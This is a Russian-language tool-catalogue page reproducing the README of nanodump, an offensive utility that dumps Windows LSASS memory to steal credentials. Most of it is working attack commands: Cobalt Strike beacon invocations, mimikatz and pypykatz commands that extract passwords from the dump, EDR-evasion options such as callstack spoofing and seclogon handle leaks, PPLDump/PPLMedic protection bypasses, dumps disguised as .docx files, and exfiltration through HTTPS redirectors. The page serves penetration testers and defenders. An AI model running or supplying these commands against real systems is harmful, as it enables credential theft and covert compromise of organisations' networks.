Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
nanodump — Швейцарский нож для дампа LSASS | Kitploit
Инструменты/GitHubGitHub/fortra/nanodump
Повышение привилегийКриминалистика памятиЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubfortra/nanodump

nanodump

Швейцарский нож для дампа LSASS

Репозиторий
2.1k2721 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

NanoDump

Гибкий инструмент, создающий минидамп процесса LSASS.

screenshot

Содержание

  1. Использование
  2. Возможности
  3. Комбинирование методов
  4. Примеры
  5. HTTPS-редиректоры

1. Использование

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Клонирование

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

Компиляция (опционально)

В Linux с MinGW

root@kitploit:~
make -f Makefile.mingw

В Windows с MSVC (без поддержки BOF)

root@kitploit:~
nmake -f Makefile.msvc

Импорт (только для CobaltStrike)

Импортируйте сценарий NanoDump.cna в Cobalt Strike.

Запуск

Запустите команду nanodump в консоли Beacon или бинарный файл nanodump.x64.exe.

Восстановление подписи

Если вы не указали флаг --valid, вам необходимо восстановить недействительную подпись

root@kitploit:~
scripts/restore_signature <dumpfile>

Получение секретов

mimikatz:
Чтобы получить секреты, просто запустите:

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Если вы предпочитаете оставаться в Linux, вы можете использовать порт mimikatz на Python3 под названием pypykatz:

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. Возможности

Форкинг процесса

Чтобы избежать открытия дескриптора LSASS с доступом PROCESS_VM_READ, вы можете использовать параметр --fork.
Это заставит nanodump создать дескриптор LSASS с доступом PROCESS_CREATE_PROCESS, а затем создать 'клон' процесса. Затем этот новый процесс будет дампнут. Хотя это приведет к созданию и удалению процесса, это устраняет необходимость прямого чтения LSASS.

Снимок

Аналогично опции --fork, вы можете использовать --snapshot для создания снимка процесса LSASS.
Это заставит nanodump создать дескриптор LSASS с доступом PROCESS_CREATE_PROCESS, а затем создать снимок процесса с помощью PssNtCaptureSnapshot. Затем этот новый процесс будет дампнут. Снимок будет освобожден автоматически по завершении.

Дублирование дескриптора

Поскольку открытие дескриптора LSASS может быть обнаружено, nanodump может вместо этого искать существующие дескрипторы LSASS.
Если такой найден, он будет скопирован и использован для создания минидампа.
Обратите внимание, что наличие такого дескриптора не гарантируется.

Повышение привилегий дескриптора

Вы можете получить дескриптор LSASS с доступом PROCESS_QUERY_LIMITED_INFORMATION, который, вероятно, находится в белом списке, а затем повысить привилегии этого дескриптора путем его дублирования.

Утечка дескриптора seclogon локально

Чтобы избежать открытия дескриптора LSASS, вы можете злоупотребить службой seclogon, вызвав CreateProcessWithLogonW для утечки дескриптора LSASS в бинарный файл nanodump.
Для включения этой функции используйте параметр --seclogon-leak-local.
Учтите, что при использовании из Cobalt Strike на диск должен быть записан неподписанный бинарный файл nanodump.

Утечка дескриптора seclogon удаленно

Этот метод очень похож на предыдущий, но вместо утечки дескриптора в nanodump он утекает в другой бинарный файл, а затем дублируется для использования nanodump. Используйте флаг --seclogon-leak-remote для доступа к этой функции.

Дублирование дескриптора seclogon

Вы можете обмануть процесс seclogon, заставив его открыть дескриптор LSASS и продублировать его до закрытия, выиграв состояние гонки с помощью файловых блокировок. Используйте флаг --seclogon-duplicate для доступа к этой функции.

Загрузка nanodump как SSP

Вы можете загрузить nanodump как SSP в LSASS, чтобы избежать открытия дескриптора.
Когда DLL загружена в LSASS, параметры передаются через именованный канал, и после завершения дампа DllMain вернет FALSE, чтобы выгрузить DLL nanodump из LSASS.
Вы можете жестко закодировать параметры в DLL и полностью отказаться от использования именованного канала с помощью флага компилятора PASS_PARAMS_VIA_NAMED_PIPES=0.

Загрузка и установка DLL nanodump

По умолчанию неподписанная DLL nanodump будет загружена в папку Temp и автоматически удалена.

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Если вы хотите загрузить уже существующую DLL, выполните:

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

Эксплойт PPL Dump

Если LSASS работает как PPL (Protected Process Light), вы можете попытаться обойти это с помощью пользовательского эксплойта, обнаруженного Project Zero. В случае успеха дамп будет записан на диск.

Обратите внимание, что эта уязвимость исправлена в пакете обновления за июль 2022 года (Windows 10 21H2 Build 19044.1826)

Для доступа к этой функции используйте команду nanodump_ppl_dump

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

Эксплойт PPL Medic

Nanodump также реализует эксплойт PPLMedic, который работает на системах с пакетом обновления за июль 2022 года. Параметры передаются в DLL nanodump через именованный канал. Вы можете жестко закодировать параметры в DLL и полностью отказаться от использования именованного канала с помощью флага компилятора `PASS_PARAMS_VIA_NAMED_PIPES=0`.

Для доступа к этой функции используйте команду nanodump_ppl_medic

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

Вы можете заставить процесс WerFault.exe создать полный дамп памяти LSASS. Учтите, что для этого требуется возможность записи в реестр.

Поскольку дамп создается не nanodump, он всегда будет иметь действительную подпись.

Тихий выход процесса

Чтобы использовать метод Silent Process Exit, укажите параметр --silent-process-exit и путь, куда должен быть создан дамп.

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

Также будет создан дамп процесса nanodump, примерно так:

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Вы также можете использовать метод Shtinkering, который требует запуска nanodump от имени SYSTEM:

root@kitploit:~
beacon> nanodump --shtinkering

Дамп обычно создается в C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps.

Подмена стека вызовов

Вы можете открыть дескриптор LSASS с поддельным стеком вызовов, чтобы вызов функции выглядел более легитимно (особенно при запуске как BOF).
Для доступа к этой функции используйте параметр --spoof-callstack.

3. Комбинирование методов

Вы можете комбинировать многие методы, чтобы настроить работу nanodump.
В следующей таблице указано, какие флаги можно использовать вместе.

4. Примеры

Чтение LSASS косвенно путем создания форка и запись дампа на диск с недействительной подписью:

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

Используйте seclogon leak remote для утечки дескриптора LSASS в процесс notepad, продублируйте этот дескриптор для доступа к LSASS, затем прочитайте его косвенно, создав форк, и загрузите дамп с действительной подписью:

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

Получите дескриптор с помощью seclogon leak local, прочитайте LSASS косвенно через форк и запишите дамп на диск с действительной подписью (будет загружен бинарный файл nanodump!):

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

Загрузите дамп с недействительной подписью (по умолчанию):

root@kitploit:~
beacon> nanodump

Продублируйте существующий дескриптор и запишите дамп на диск с недействительной подписью:

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

Получите PID LSASS:

root@kitploit:~
beacon> nanodump --getpid

Загрузите nanodump в LSASS как SSP (будет загружен бинарный файл nanodump!):

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

Сделайте дамп LSASS в обход PPL с помощью эксплойта PPLDump, дублируя дескриптор, который csrss.exe имеет на LSASS:

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

Сделайте дамп LSASS в обход PPL с помощью эксплойта PPLMedic, открыв низкопривилегированный дескриптор LSASS и затем повысив его привилегии:

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

Обманите seclogon, заставив его открыть дескриптор LSASS и продублировать его, затем загрузите дамп с недействительной подписью:

root@kitploit:~
beacon> nanodump --seclogon-duplicate

Заставьте процесс WerFault.exe создать полный дамп памяти в папке Temp:

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

Откройте дескриптор LSASS с поддельным стеком вызовов и загрузите минидамп с недействительной подписью:

root@kitploit:~
beacon> nanodump --spoof-callstack

Используйте метод Shtinkering:

root@kitploit:~
beacon> nanodump --shtinkering

Получите дескриптор с помощью seclogon leak local и создайте дамп, используя метод Shtinkering:

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

Получите дескриптор с низкими привилегиями и повысьте его с помощью elevate handle:

root@kitploit:~
beacon> nanodump --elevate-handle

Получите дескриптор с низкими привилегиями, используя поддельный стек вызовов, и повысьте его с помощью elevate handle:

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

Продублируйте существующий низкопривилегированный дескриптор и повысьте его с помощью elevate handle:

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. HTTPS-редиректоры

Если вы используете HTTPS-редиректор (как и следует), вы можете столкнуться с проблемами при загрузке дампа без использования файлов из-за размера запросов, которые передают дамп.
Увеличьте максимальный размер запросов на вашем веб-сервере, чтобы дать nanodump возможность загрузить дамп.

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

Благодарности

  • skelsec за написание minidump, что было решающим для изучения формата файлов minidump.
  • freefirex из CS-Situational-Awareness-BOF в Trustedsec за множество полезных трюков для BOF.
  • Jackson_T за SysWhispers2.
  • BillDemirkapi за Форкинг процессов.
  • Antonio Cocomazzi за Злоупотребление утекшими дескрипторами для дампа памяти LSASS и Гонка за дампами LSASS.
  • xpn за Изучение Mimikatz – Часть 2 – SSP.
  • Matteo Malvica за Обход WinDefender ATP credential-theft: попадание после неточного старта.
  • James Forshaw за Трюки эксплуатации Windows: эксплуатация произвольного создания каталогов объектов для локального повышения привилегий.
  • itm4n за оригинальную реализацию пользовательских эксплойтов PPL, PPLDump и PPLMedic.
  • Asaf Gilboa за Дампы памяти LSASS стали скрытнее, чем когда-либо – Часть 2 и метод Shtinkering.
Скачать инструмент
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
  • William Burgess за Подмена стеков вызовов для введения EDR в заблуждение.
  • Sebastian Feldmann и Fabian за метод elevate handle, обсуждаемый в Morph Your Malware!.